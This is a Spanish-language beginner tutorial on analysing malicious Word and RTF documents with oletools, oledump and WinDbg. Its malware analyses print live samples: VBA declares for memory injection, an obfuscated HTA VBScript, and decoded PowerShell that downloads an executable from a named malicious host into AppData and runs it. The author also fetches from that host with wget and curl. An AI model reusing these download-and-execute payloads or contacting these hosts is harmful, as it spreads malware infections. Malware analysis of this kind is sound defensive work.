Ilustración abstracta en tonos rojos, naranjas y azules a modo de imagen destacada

Herramientas para hackear

Analizando documentos maliciosos ofimáticos y de scripting

Artículo dirigido a todos aquellos que quieren iniciarse en el mundo del análisis de malware. Aprende a analizar malware. ¡ ATREVETE !

Este artículo va dirigido a todos aquellos que quieren iniciarse en el mundo del análisis de malware. Vamos a ver una serie de ejemplos de diferentes tipos de malware ofimáticos y de scripting y como analizarlos.

Todo ello lo separaré en diferentes partes (como las pelis):

Parte 1:

Lo que vamos a ver en esta es como tratar documentos de Office, muchas veces sin ni siquiera abrirlos con el software.

Tenemos todos estos para elegir:

$ md5sum *

f78b7325a69e85e260dc3e6341f06fd8 76SagePay.doc

9690051ee1cb4c8fd3462f0aaeb1ab54 9690051ee1cb4c8fd3462f0aaeb1ab54-warehouse.docx

cb1c08fac545b7c589d4b23087b43430 cb1c08fac545b7c589d4b23087b43430-SWIFT MESSAGE.docx

951218b2d843a85da4d1737619b3ed82 ddaf423d782182c08f30c0502ded4cb673f8b0191d2cfec4ba9d3fa4a623f172-scan0145.doc

2b9bead7066d932743ca82e2e90e482a ETER_Richiesta.doc

aebc8019332305ce1ddf31f07915b55e fdbd35714e2f3b23ab879c69a495d5799b4c17cbfcc4ff39ccdec8772c2545e9-0001.doc

71aad93dfbd1c4b2854a697405675c51 Locky-InvoiceEQYB4962800.doc

33e7ad1ae819a8f47c6f532ae2392984 Malware-DDE-3e7ad1ae819a8f47c6f532ae2392984.doc

debc3aa963c483d06ba840174c0cd8aa NanoCore-Balance Statement.docx

9b4d54e1bed9b9b848a64c3cf9dca434 Neutrino-CFE-FACTURA41568.doc

868aa01277473cc6139cdd0b128e6881 SB23 - 07.11.2017.doc

9e62a6632eadbc2cffd5d28a9e415026 statement_603755.doc

Vamos a utilizar principalmente 2 utilidades Oletools y Oledump:

Oletools:

/oletools-0.41/oletools $ ls

cStringIO __init__.py olebrowse.py olevba.py README.rst traceback doc LICENSE.txt oleid.py pyxswf.py rtfobj.py zipfile email logging olemeta.py re struct ezhexviewer.py math oletimes.py README.html thirdparty

Oledump:

$ python oledump.py --version

oledump.py 0.0.27

DidierStevensSuite $ python oledump.py -h

Usage: oledump.py [options] [file]

Analyze OLE files (Compound Binary Files)

Options:

--version show program's version number and exit

-h, --help show this help message and exit

-m, --man Print manual

-s SELECT, --select=SELECT

select item nr for dumping (a for all)

-d, --dump perform dump

-x, --hexdump perform hex dump

-a, --asciidump perform ascii dump

-v, --vbadecompress VBA decompression

--vbadecompresscorrupt

VBA decompression, display beginning if corrupted

-r, --raw read raw file (use with options -v or -p

-e, --extract extract OLE embedded file

-i, --info print extra info for selected item

-p PLUGINS, --plugins=PLUGINS

.....

............

Interesa ver las 2, creedme.

$ ./olevba.py statement_603755.doc > statement_603755.Salida.Oletools.txt

La salida tiene este aspecto:

Salida de la herramienta olevba analizando macros VBA del archivo statement_603755.doc
Oletools

Es el código de la macro de VBA (Visual Basic for Applications), no confundir con VBS (Visual Basic Script), que no es lo mismo. Si coges el código, tal cual, de uno y lo pegas en el otro, ¡NO FUNCIONA!

Lo mejor es siempre echarle un vistazo rápido ya que verás muchas cosas, eso lo da la práctica.

Si tecleamos este comando:

$ grep -i -A 2 "Public Declare" statement_603755.Salida.Oletools.txt | grep -v ^\'

Public Declare Function autosomal Lib "Kernel32" Alias _

"CreateTimerQueueTimer" (comptes As Any, ByVal saponaria As Any, ByVal sully As Any, ByVal closepacked As Any, ByVal ayrshire As Any, ByVal stateoftheart As Any, ByVal laudator As Any) As Long

--

Public Declare Function jauntily _

Lib "Ntdll " Alias _

"NtWriteVirtualMemory" (ByVal carpetbag As Any, ByVal exploit As Any, ByVal electrode As Any, ByVal mantoman As Any, ByVal baguet As Any) As Long

--

``

Public Declare Function ballast Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal backwardation As Any, tyrannid As Any, auro As Any, glomerular As Any) As Long

--

Public Declare PtrSafe Function gossamer Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal melic As Any, agape As Any, bellarmine As Any, earl As Any) As LongPtr

Public Declare PtrSafe Function autosomal Lib "Kernel32" Alias "CreateTimerQueueTimer" (surmise As Any, ByVal dietetic As Any, ByVal luscinia As Any, ByVal botryoid As Any, ByVal grus As Any, ByVal reject As Any, ByVal coed As Any) As Long

--

Public Declare Function slyness _ Lib "Ntdll " Alias _ "NtAllocateVirtualMemory" (predict As Long, nonobservance As Long, ByVal drapery As Long, unpretentiouslyByVal As Long, abulic As Long, ByVal biauricular As Long) As Long

--

Public Declare Function byword Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal battles As Any, impolicy As Any, fatty As Any, dukes As Any) As Long

--

Public Declare PtrSafe Function abet Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal caesura As Any, bluecollar As Any, lachnolaimus As Any, beautifully As Any) As LongPtr

Public Declare PtrSafe Function jauntily _

Lib "ntdll " Alias _ "NtWriteVirtualMemory" (ByVal adnexa As Any, ByVal cockcrowing As Any, ByVal denying As Any, ByVal overenthusiastic As Any, ByVal cladorhyncus As Any) As LongPtr

--

Public Declare PtrSafe Function slyness _ Lib "ntdll " Alias _ "NtAllocateVirtualMemory" (castor As LongPtr, platoon As LongPtr, ByVal hindi As LongPtr, altricialByVal As LongPtr, beatific As LongPtr, ByVal trichechidae As LongPtr) As LongPtr

Como podeis ver, tenemos un muchas de funciones de la API de Windows.

$ grep -i -A 2 "Public Declare" statement_603755.Salida.Oletools.txt | grep -v ^\' | awk -F"Alias " '{print $2}' | awk '{print $1}' | grep ^\"



"SleepConditionVariableSRW" "SleepConditionVariableSRW" "CreateTimerQueueTimer" "GetOverlappedResult" "GetOverlappedResult"

$ grep -i -A 2 "Public Declare" statement_603755.Salida.Oletools.txt | grep -v ^\' | grep ^\" | awk '{print $1}'



"CreateTimerQueueTimer" "NtWriteVirtualMemory" "NtAllocateVirtualMemory" "NtWriteVirtualMemory" "NtAllocateVirtualMemory"

Con esto, vemos que algo va a ocurrir con procesos e inyecciones en memoria. Para saber eso no te queda otra que saber lo que hace cada función de la API, si no lo sabes pregunta a Microsoft o Google (que todo lo sabe :-D)

A este tipo de documentos lo llaman Maldoc y/o Hancitor, un tipo de malware.

Y de donde sacan su contenido, es decir, ¿lo que van a inyectar? Nos vamos a la otra herramienta, la de Didier Stevens (recomiendo leer su blog y ver sus videos (son buenísimos!!) - )

$ python ~DidierStevensSuite/oledump.py statement_603755.doc

1: 114 '\x01CompObj'

2: 4096 '\x05DocumentSummaryInformation'

3: 4096 '\x05SummaryInformation'

4: 7755 '1Table'

5: 29032 'Data'

6: 620 'Macros/PROJECT'

7: 152 'Macros/PROJECTwm'

8: M 13875 'Macros/VBA/ThisDocument'

9: 9763 'Macros/VBA/_VBA_PROJECT'

10: 7925 'Macros/VBA/__SRP_0'

11: 1459 'Macros/VBA/__SRP_1'

12: 598 'Macros/VBA/__SRP_2'

13: 106 'Macros/VBA/__SRP_3'

14: 622 'Macros/VBA/__SRP_4'

15: 1422 'Macros/VBA/__SRP_5'

16: 290 'Macros/VBA/__SRP_6'

17: 5879 'Macros/VBA/__SRP_7'

18: 360 'Macros/VBA/__SRP_8'

19: 142 'Macros/VBA/__SRP_9'

20: 1480 'Macros/VBA/__SRP_a'

21: 298 'Macros/VBA/__SRP_b'

22: 951 'Macros/VBA/dir'

23: M 5304 'Macros/VBA/dismay'

24: m 1555 'Macros/VBA/fibrocalcific'

25: M 4447 'Macros/VBA/pascal'

26: M 9780 'Macros/VBA/pollitra'

27: 97 'Macros/fibrocalcific/\x01CompObj'

28: 293 'Macros/fibrocalcific/\x03VBFrame'

29: 139 'Macros/fibrocalcific/f'

30: 16500 'Macros/fibrocalcific/o'

31: 85438 'WordDocument'

La shellcode que se inyecta en el proceso está aquí.

Volcado hexadecimal del shellcode extraído con el comando oledump.py -s 29
Shellcode Maldoc

Nos llama la atención las siguientes líneas:

29: 139 'Macros/fibrocalcific/f'

30: 16500 'Macros/fibrocalcific/o'

Pero aún no sabemos las URL y demás (al final es lo que se suele hacer en estos casos) y el tiempo corre en nuestra contra. Ejecutas el documento de Word, crea el proceso hijo “svchost.exe” con el contenido de la shellcode, que suele ser la descarga del malware final y lo ejecuta. ¿Pero cuál?

Para obtener URL, lo puedes hacer a mano (grep -E "https?://" ....) o bien utilizar una utilidad, otra vez, de Didier Stevens (re-search.py).

$ python re-search.py -f n url dump-pid-1788.dmp | sed ‘s/http:\/\//\n/http:\/\/g’

Ahí los teneis, separados por pipes. Si bajamos un poco más vemos:

Lista de URLs maliciosas extraídas del shellcode con rutas numeradas como /1 y /2
re-search.py - Didier Stevens

Eso sí, ojo con poner como posibles candidatos los que descarguen ficheros 1, 2 ó 3, porque habría falsos positivos:

O puedes usar radare2 (sobre gustos, colores, y radare2 tiene unos colores muy bonitos :-D):

Radare2

Y con esto tendríamos lo que descargaría este primer documento malicioso de la serie, Hancitor.

Otra opción, podría ser extraer la shellcode directamente y analizarlo con radare2 o windbg, pero eso lo dejaré para otro momento.

Parte 2

Vamos a analizar otro, esta vez: 868aa01277473cc6139cdd0b128e6881 SB23 - 07.11.2017.doc

De nuevo, utilizaremos “Oledump” y extraemos el contenido de ese objeto OLE.

$ python oledump.py SB23\ -\ 07.11.2017.doc

A: word/embeddings/oleObject1.bin

A1: O 2339 '\x01Ole10Native'

A2: 6 '\x03ObjInfo'

Vemos que no es un ejecutable:

$ python oledump.py -s A1 -i SB23\ -\ 07.11.2017.doc

String 1: 7.lnk

String 2: E:\tmp\doc_package\doc2\7.lnk

String 3: C:\Users\1\AppData\Local\Temp\7.lnk

Size embedded file: 2099

MD5 embedded file: 68b6e785bc3e8fb5685980e48623b251

MAGIC: 4c000000 L...

`Header: 4c0000000114020000000000c0000000 L........``

No comienza por MZ. Dumpeamos el contenido y miramos las cadenas o "strings".

$ python oledump.py -s A1 -d SB23\ -\ 07.11.2017.doc > SB23\ -\ 07.11.2017.txt

``

$ strings SB23\ -\ 07.11.2017.txt

7.lnk

E:\tmp\doc_package\doc2\7.lnk

C:\Users\1\AppData\Local\Temp\7.lnk

/C:\

Windows

System32

WINDOW~1

v1.0

powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

admin-ts

1SPS0

1SPS

1SPS

sf"m

1SPS

jc(=

Vemos que la cosa va de Powershell, o sea, en algún momento creará un proceso y lo ejecutará con una serie de parámetros, eso parece.

$ python oledump.py -s A1 SB23\ -\ 07.11.2017.doc | awk '{print $2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17}' | sed 's/00//g' | sed 's/ //g' | grep -v ^$ | tr '\n' ' ' | sed 's/ //g' | awk -F\. '{print $1}'

`1F0902372E6C6E6B453A5C746D705C646F635F7061636B6167655C646F63325C372E6C6E6B0 324433A5C55736572735C315C417070446174615C4C6F63616C5C54656D705C372E6C6E6B330 84C011402C046B308207C7FDD821404CA017C7FDD821404CA01B0C94FE82304CA013A0707F10 1141F50E04FD020EA3A6910A2D8082B30309D192F433A5C5231D84A2E0C1057696E646F77733 C0804EFBEEE3A851AD84A2E0C2A77010157696E646F7773165631D84AED0B1053797374656D3 3323E0804EFBEEE3A861AD84AED0B2AC4050153797374656D3332186831EE3AA62C1057494E4 44F577E31500804EFBEEE3AA62CEE3AA62C2A48090157696E646F7773506F7765725368656C6 C184A317E4ABD121076312E30360804EFBEEE3AA62C7E4ABD122A49090176312E301468323A0 7EE3AEB0C20706F7765727368656C6C2E6578654A0804EFBEED3A24BEED3A24BE2A257B01706 F7765727368656C6C2E6578651E681C011C2D671103870F0E1A10433A5C57696E646F77735C5 3797374656D33325C57696E646F7773506F7765725368656C6C5C76312E305C706F776572736 8656C6C2E6578652D2553797374656D526F6F74255C53797374656D33325C57696E646F77735 06F7765725368656C6C5C76312E305CAF2D6E6F70202D772068696464656E202D63202224633 D27333638372F67726F2E74726168636F63652F2F3A70747468273B2461723D24632E546F436 86172417272617928293B5B61727261795D3A3A5265766572736528246172293B2462203D2D6 A6F696E202461723B244458203D2028286E65772D6F626A6563742053797374656D2E6E65742 E776562636C69656E74292E646F776E6C6F6164737472696E6728246229293B4945582024445 8221005A025D51C0BA0774EC11AE7025D4EB7442EB1AE5198B7D56003A05861646D696E2D747 33A1FC90B13BFF342AFCC72B1A3F0837BC017ACA36655E711BC5F50569235B33A1FC90B13BFF 342AFCC72B1A3F0837BC017ACA36655E711BC5F50569235B3740209A0B53153505330F125B7E F471A10A5F102608C9EEBAC310A1F0F706F7765727368656C6C2E65786529041F0C4170706C6 9636174696F6E150F40722B831404CA01150C153A07150E40C16BE92304CA018931535053E28 A5846BC4C3843BBFC139326986DCE6D041F2D532D312D352D32312D323935363630343631332 D35363333333637352D323339383237303536382D313030388931535053ED30BDDA438947A7F 8D013A47366226D641F2D76312E302028433A5C57696E646F77735C53797374656D33325C576 96E646F7773506F7765725368656C6C29A131535053A66A63283D95D211B5D6C04FD918D0851 E1F3A433A5C57696E646F77735C53797374656D33325C57696E646F7773506F7765725368656 C6C5C76312E305C706F7765727368656C6C2E657865CC02A007F5502C015019100C309001546 5726D696E616C3201013204808080808080808080C0C0C0808080FFFFFFFFFFFFFFFFFFFFFFF F23433A5C55736572735C315C417070446174615C4C6F63616C5C54656D705C372E6C6E6B053 72E6C6E6B1D453A5C746D705C646F635F7061636B6167655C646F63325C372E6C6E6B`

Tenemos un conversor de HEX a ASCII online para ver que es todo eso.

Conversor hex a ASCII revelando un comando PowerShell oculto con la opción -nop
Conversor de HEX a ASCII

Fijaros en lo que os decía, primer vistazo, veo un "http://" al revés.

$c='3687/gro.trahcoce//:ptth';

Pues ya está claro, ¿verdad?

$ echo "3687/gro.trahcoce//:ptth"| rev

hXXp://ecochart.org/7863

He cambiado el http por hXXp por si acaso alguien le da por acceder :P

Y listo, ya tenemos donde se encuentra el malware. Simpre que veais powershell, hay una creación del proceso para ejecutarlo después.

Otra forma, pero esta vez usando algún debugger.

Abres el documento:

Documento Word con el señuelo falso Protected Document para activar macros maliciosas
Análisis de malware en doc con debugger

Lo "atacheas" (como suena eso...) al depurador que más te guste.

Ventana Adjuntar a proceso de WinDbg con WINWORD.EXE seleccionado para depurar
WinDbg

Ponéis 2 breakpoints:

Consola de WinDbg mostrando módulos cargados y un punto de interrupción en CreateProcessA
Breakpoints Debbuger

bp CreateProcessA

bp CreateProcessW

g

Esa “g” es para continuar. Como en la imagen se veía que hay que pulsar “doble click” en ella, le hacemos caso y nos avisa de lo siguiente:

Aviso de seguridad de Word al abrir un paquete con contenido ejecutable bloqueado
Ejecucción en Debugger

Aceptamos y nuestro debugger se para:

WinDbg detenido en un punto de interrupción mostrando el comando powershell.exe oculto lanzado
Paro inesperado debugger Malware

du poi (esp + 8)

En este caso, ha utilizado la API CreateProcessW y como podéis ver, ahí tenemos el comando de Powershell que va a lanzar.

Parte 3

Vamos con el siguiente.

$ md5sum SKMBT_C20171116424367.doc

8f108b41ca0f42b790cd66cd500e1b5b SKMBT_C20171116424367.doc

Primer vistazo, las strings, este es siempre el primer paso ¿Por qué? Porque en este caso u otros, podrías evitar tener que ejecutar otras herramientas como Oledump u Oletools.

$ cat SKMBT_C20171116424367.doc

{\rtfH2(11-13),Huangpu International Machinery Street No.8 Zhongshan East Road, Huangpu District, Guangzhou, China

(Tel):020-32381186

Skype:gzhuiming08 Mobile :13751750901?Ms .Dollar)

QUOTATION TO: POLYPOL d.o.o. Date:02.11.2017 Item HM-CODE Part name Model QTY Unite Price/USD Amount/USD 1 HM-G32005 COUPLING 16A 4 8.93 35.72 2 HM-G32015 COUPLING 50A 6 9.12 54.72 3 HM-G32016 COUPLING 50AS 6 9.12 54.72

{\object\objautlink\objupdate\objw1268\objh6397{\*\objdata 4b3ad2380200000019000000765961466e57476e35476f4864537137566779644a434d5a0000 00000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e0003 00feff0900060000000000000000000000010000000100000000000000001000000200000001 000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdfffffffefffffffe ffffff04000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000160005 00ffffffffffffffff010000000003000000000000c000000000000046000000000000000000 00000000407334715ed30103000000c00200000000000001004f006c00650000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 00000000000000000000000a000201ffffffffffffffffffffffff0000000000000000000000 0000000000000000000000000000000000000000000000000000000000a00200000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000ffffffffffffffffff ffffff0000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000ffffffffffffffffffffffff000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000100000002000000030000 000400000005000000060000000700000008000000090000000a000000feffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff ffffffffffffff01000002b7c086196f441a280000000000000000000000008e000000e0c9ea 79f9bace118c8200aa004ba90b76000000200068007400740070003a002f002f006a006f0073 0065007000680069006f0073006500700068002e0063006f006d002f00740069006d00610079 0061002f006800740061006400720069006c006c0073002e0068007400610020000000795881 f43b1d7f48af2c825dc485276300000000852b0000ffffffff00000000000000000000000000 000000c60100004a004f0034004a0066007500610033005200450077004c0066007500690033 004a00590043006a006a00750049006800540063003400660035003400550064006800510067 006c0037004d003400460070004b00510048004a0067006d0072004a00690073006400350059 006d007400780063004300460048006b0079007a0050005300610033007a0077003000420062 00380061006a005600510038005a003500410036006e006c0067006100520052007700450072 00390034003400760046004700690042005400570059006a00520059006d007200500041006f 00420068005700650058006e0053006700540076007100710054006400730063004600350045 0038006c00780034007900700037006500550078004600570055004a0074005500730048004c 00410065006c00580067006d0066004a0036006300720078004f003200580074006700650033 00620063006d007600760047005300420054004f006d00350068006b00410044003100790079 00660072004b00410070007a00750045007600740036006100620050006b0073004a00520047 006500660050006900550039006c00690034004c0044006f007700700037006b00300070007a 00320000007b67c317fc32b12410bdd520d930011775165e2806dbc001aa980c1a0000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000000000000 00000000004c06c52e00000000}}}

Os indico la parte que nos interesa y lo convierto de hexadecimal a ascii (hextoascii es un simple script que tengo para eso):

$ which hextoascii /usr/local/bin/hextoascii

$ which hextoascii | xargs cat

#!/usr/bin/perl

#script que pasa una cadena en hexadecimal a ascii, por ej. 41414141 a AAAA - by Rafa

while (<>) { $string = $_; $string =~ m/(\d\d)/g; print pack('H*', $string); print "\n"; }

Muy útil como veis, es como el comando base64 para decodificar strings con el "-d", lo veremos más adelante...

$ echo "01000002b7c086196f441a280000000000000000000000008e000000e0c9ea79f9bace118c8 200aa004ba90b76000000200068007400740070003a002f002f006a006f00730065007000680 069006f0073006500700068002e0063006f006d002f00740069006d006100790061002f00680 0740061006400720069006c006c0073002e0068007400610020000000795881f43b1d7f48af2 c825dc485276300000000852b0000ffffffff00000000000000000000000000000000c601000 04a004f0034004a0066007500610033005200450077004c0066007500690033004a005900430 06a006a00750049006800540063003400660035003400550064006800510067006c0037004d0 03400460070004b00510048004a0067006d0072004a00690073006400350059006d007400780 063004300460048006b0079007a0050005300610033007a007700300042006200380061006a0 05600510038005a003500410036006e006c00670061005200520077004500720039003400340 0760046004700690042005400570059006a00520059006d007200500041006f0042006800570 0650058006e00530067005400760071007100540064007300630046003500450038006c00780 034007900700037006500550078004600570055004a0074005500730048004c00410065006c0 0580067006d0066004a0036006300720078004f00320058007400670065003300620063006d0 07600760047005300420054004f006d00350068006b0041004400310079007900660072004b0 0410070007a00750045007600740036006100620050006b0073004a005200470065006600500 06900550039006c00690034004c0044006f007700700037006b00300070007a00320000007b6 7c317fc32b12410bdd520d930011775165e2806dbc001aa980c1a" | hextoascii

���oD( ���y������K�

v hXXp://josephioseph .com/timaya/htadrills.hta

yX��;H�,�]ą'c�+�����JO4Jfua3REwLfui3JYCjjuIhTc4f54UdhQgl7M4FpKQHJgmr Jisd5YmtxcCFHkyzPSa3zw0Bb8ajVQ8Z5A6nlgaRRwEr944vFGiBTWYjRYmrPAoBhWeXnSgTvqqT dscF5E8lx4yp7eUxFWUJtUsHLAelXgmfJ6crxO2Xtge3bcmvvGSBTOm5hkAD1yyfrKApzuEvt6ab PksJRGefPiU9li4LDowp7k0pz2{g��2�$�� �0u^( �

Bien, ya tenemos el malware, lo descargamos:

IMPORTANTE: Recordar que el enlace se separa en el post para que no sea enlazable

$ wget hXXp://josephioseph . com/timaya/htadrills.hta

--……….. -- hXXp://josephioseph . com/timaya/htadrills.hta

Resolviendo josephioseph.com (josephioseph.com)... 192.185.16.72

Conectando con josephioseph.com (josephioseph.com)[192.185.16.72]:80... conectado.

Petición HTTP enviada, esperando respuesta... 200 OK

Longitud: 2331 (2,3K) [text/plain]

Grabando a: “htadrills.hta”

htadrills.hta 100%[=====================>] 2,28K --.-KB/s en 0,004s

... (639 KB/s) - “htadrills.hta” guardado [2331/2331]

Y visualizamos su contenido:

$ cat htadrills.hta

<!DOCTYPE html>

<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >

<html>

<body>

<ScrIPt TYpE="TEXt/vBsCRiPT">

diM IhQUcstSxBSK : dIm XjOCnZuPqBPN : SET IhQUcstSxBSK = CREaTeOBjECT ( Chr(&H57) & StrReverse(Chr(&H53)) & StrReverse(ChrW(&H43)) & StrReverse(Chr(&H72)) & Chr(&H69) & Chr(&H50) & StrReverse(ChrW(&H74)) & StrReverse(ChrW(&H2E)) & Chr(&H73) & Chr(&H48) & StrReverse(Chr(&H65)) & Chr(&H6C) & StrReverse(ChrW(&H4C)) ) : XjOCnZuPqBPN = "

POWErSHeLL.eXe -Ex BYPAss -NOP -W HIDDen -Ec

IABTAEUAdAAtAEMAbwBuAFQAZQBOAHQAIAAtAFYAYQBMAHUAZQAgACgAbgBlAFcALQBPAEIASgBl

AEMAdAAgAFMAeQBTAFQAZQBNAC4AbgBFAFQALgB3AGUAYgBjAEwASQBFAG4AVAApAC4AZABPAFcA

bgBsAE8AYQBkAGQAYQBUAGEAKAAgAB0gIABoAHQAdABwADoALwAvAGoAbwBzAGUAcABoAGkAbwBz

AGUAcABoAC4AYwBvAG0ALwB0AGkAbQBhAHkAYQAvAGQAcgBpAGwAbABzAC4AZQB4AGUAIAAdICAA

KQAgAC0ARQBOAGMATwBEAGkATgBnACAAYgB5AHQAZQAgAC0AUABhAHQAaAAgAB0gJABlAE4AVgA6

AEEAcABwAEQAQQBUAGEAXABkAHIAaQBsAGwALgBlAHgAZQAdICAAOwAgAFMAVABBAFIAVAAgAB0

JABlAG4AdgA6AGEAUABwAEQAYQBUAGEAXABkAHIAaQBsAGwALgBlAHgAZQAdIA== "


: IhQUcstSxBSK.rUN ChR ( 34 ) & IhQUcstSxBSK.ExpANDEnViRonMENTSTrINGS( Chr(&H25) & ChrW(&H73) & Chr(&H79) & ChrW(&H53) & Chr(&H54) & StrReverse(ChrW(&H65)) & Chr(&H6D) & Chr(&H52) & Chr(&H6F) & ChrW(&H4F) & Chr(&H74) & Chr(&H25) ) & ChrW(&H5C) & StrReverse(Chr(&H73)) & StrReverse(Chr(&H59)) & ChrW(&H53) & StrReverse(Chr(&H54)) & StrReverse(Chr(&H65)) & Chr(&H6D) & StrReverse(ChrW(&H33)) & StrReverse(Chr(&H32)) & StrReverse(Chr(&H5C)) & StrReverse(ChrW(&H57)) & Chr(&H49) & StrReverse(Chr(&H6E)) & ChrW(&H64) & StrReverse(ChrW(&H6F)) & Chr(&H77) & Chr(&H53) & StrReverse(Chr(&H50)) & StrReverse(ChrW(&H6F)) & StrReverse(Chr(&H77)) & ChrW(&H45) & StrReverse(ChrW(&H72)) & StrReverse(Chr(&H73)) & StrReverse(ChrW(&H68)) & StrReverse(Chr(&H45)) & Chr(&H4C) & StrReverse(Chr(&H6C)) & Chr(&H5C) & ChrW(&H76) & Chr(&H31) & StrReverse(ChrW(&H2E)) & StrReverse(ChrW(&H30)) & StrReverse(Chr(&H5C)) & StrReverse(Chr(&H50)) & StrReverse(Chr(&H6F)) & Chr(&H77) & StrReverse(Chr(&H65)) & StrReverse(Chr(&H72)) & Chr(&H73) & StrReverse(Chr(&H68)) & StrReverse(ChrW(&H45)) & ChrW(&H4C) & StrReverse(Chr(&H6C)) & ChrW(&H2E) & Chr(&H65) & StrReverse(Chr(&H58)) & ChrW(&H65) & CHr ( 34 ) & cHr ( 32 ) & Chr ( 34 ) & XjOCnZuPqBPN & CHr ( 34 ) , 0 : SEt IhQUcstSxBSK = nOTHINg selF.cLose

</script>

</body>

</html>

De nuevo, tenemos ejecuciones de Powershell (lo que implicaría Debugger + Breakpoint CreateProcess[A|W] -> continuar -> esperar y ver el comando que va a ejecutar con Powershell) y una cadena ¿en base64? Sí

IMPORTANTE: Recordar que el enlace se separa en el post para que no sea enlazable

$ echo UAdAAtAEMAbwBuAFQAZQBOAHQAIAAtAFYAYQBMAHUAZQAgACgAbgBlAFcALQBPAEIASgBlAEMAdA AgAFMAeQBTAFQAZQBNAC4AbgBFAFQALgB3AGUAYgBjAEwASQBFAG4AVAApAC4AZABPAFcAbgBsAE 8AYQBkAGQAYQBUAGEAKAAgAB0gIABoAHQAdABwADoALwAvAGoAbwBzAGUAcABoAGkAbwBzAGUAcA BoAC4AYwBvAG0ALwB0AGkAbQBhAHkAYQAvAGQAcgBpAGwAbABzAC4AZQB4AGUAIAAdICAAKQAgAC 0ARQBOAGMATwBEAGkATgBnACAAYgB5AHQAZQAgAC0AUABhAHQAaAAgAB0gJABlAE4AVgA6AEEAcA BwAEQAQQBUAGEAXABkAHIAaQBsAGwALgBlAHgAZQAdICAAOwAgAFMAVABBAFIAVAAgAB0gJABlAG 4AdgA6AGEAUABwAEQAYQBUAGEAXABkAHIAaQBsAGwALgBlAHgAZQAdIA==" | base64 -d

SEt-ConTeNt -VaLue (neW-OBJeCt SySTeM.nET.webcLIEnT).dOWnlOaddaTa( hXXp://josephioseph . com/timaya/drills.exe ) -ENcODiNg byte -Path $eNV:AppDATa\drill.exe ; START $env:aPpDaTa\drill.exe

Y aparece el segundo malware, esta vez el exe final, que se guardara en %AppData% y se ejecutará.

Casualmente, este servidor lista el contenido del directorio:

Listado de directorio Index of timaya con ejecutables y archivos HTA maliciosos
Index Of Timaya

Y podemos descargar todo para analizarlo, por si se trata de muestras diferentes.

$ curl -s http://josephioseph.com/timaya/ | awk -F"a href=\"" '{print $2}' | grep -v "Parent Directory" | grep -v ^$ | awk -F\"

